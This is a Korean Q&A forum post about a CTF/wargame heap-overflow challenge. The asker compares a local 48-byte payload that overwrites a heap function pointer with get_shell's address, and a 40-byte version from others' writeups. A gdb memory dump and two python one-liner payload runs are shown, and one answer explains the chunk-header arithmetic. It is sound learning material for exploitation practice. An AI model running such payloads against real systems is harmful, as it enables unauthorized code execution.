로컬에서 바이너리 분석과 다른 것 같네요.. 무엇일까요..?

로컬에서 heap 영역을 보면 v5가 참조하는 table_func 주소가 있는 곳까지 48byte 만큼의 거리가 있어서 bof로 해서 로컬에서 table_func 주소를 get_shell로 변경하여 실행시켰습니다. 근데 호스트로 접속해서 페이로드를 날려도 안되길래 모가 잘못된거지하고 다른 분들의 writeup를 보니 40바이트로 되어있더군요 흐음... 분명히 제가 다운로드받은 바이너리에서는 48byte bof하고 get_shell 주소를 넣으면 되는 걸로 눈을 다시 씻고봐도 그렇게 보이는데..무엇이 잘못된 걸까요

gef➤ x/30x 0x0804b1a0
0x804b1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804b1c0: 0x41414141 0x41414141 0x00000000 0x00000031
0x804b1d0: 0x08048694 0x00000000 0x00000000 0x00000000

페이로드 결과 1 "A*48"
*root@kali:~# (python -c 'print "A"48+"\x7b\x86\x04\x08"';cat)|./basic_heap_overflow
id
uid=0(root) gid=0(root) groups=0(root)

페이로드 결과 2 "A*40"
*root@kali:~# (python -c 'print "A"40+"\x7b\x86\x04\x08"';cat)|./basic_heap_overflow
overwrite_me!

#pwnable
작성자 정보
답변 1
avatar
snwo
CTF First Place

0x20 바이트 할당하기때문에, prev_size 와 size 가 붙어서 0x28 바이트가 할당됩니다. 입력할수있는 공간은 0x20 바이트이고, 다음 chunk 의 함수주소까지는 0x20 + 8 (prev_size+size) = 0x28 (40) 이렇게 이론적으로 접근하면 40byte 가 맞습니다. 왜 8byte 의 오차가 생기는지는 다른 고수분이 답변해드릴꺼에요

2020.07.29. 12:43
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기